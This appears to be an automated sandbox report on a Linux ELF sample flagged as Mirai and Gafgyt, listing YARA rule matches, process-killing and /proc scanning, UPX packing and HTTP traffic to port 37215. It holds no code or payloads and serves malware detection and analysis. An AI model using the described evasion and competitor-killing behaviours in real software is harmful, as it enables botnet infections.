Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.x86.elf PID: 6224, type: MEMORYSTR	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.x86.elf PID: 6224, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.x86.elf PID: 6226, type: MEMORYSTR	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.x86.elf PID: 6226, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6235, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6236, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6237, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6238, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6239, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6240, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6244, result: successful	Jump to behavior

Source: classification engine

Classification label: mal96.spre.troj.evad.linELF@0/0@1/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/4454/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6227/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6229/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/517/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6228/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2285/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2281/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/761/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1622/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1983/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2038/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1860/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2156/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/4455/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/4456/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/4457/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1629/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/6239/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1627/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/3021/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2294/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2050/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1877/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/772/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1633/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1632/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/774/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/654/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/896/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2048/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/655/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2289/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/777/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1639/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1638/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2180/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/4483/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1494/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1890/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2063/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/2062/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1888/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1886/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/420/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1489/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/785/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1642/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/788/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/667/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/789/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/4478/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/1648/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	File opened: /proc/4491/cmdline	Jump to behavior

Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6244)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6244)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6244)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6244)	Directory: /home/saturnino/.config	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 57550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47302 -> 37215
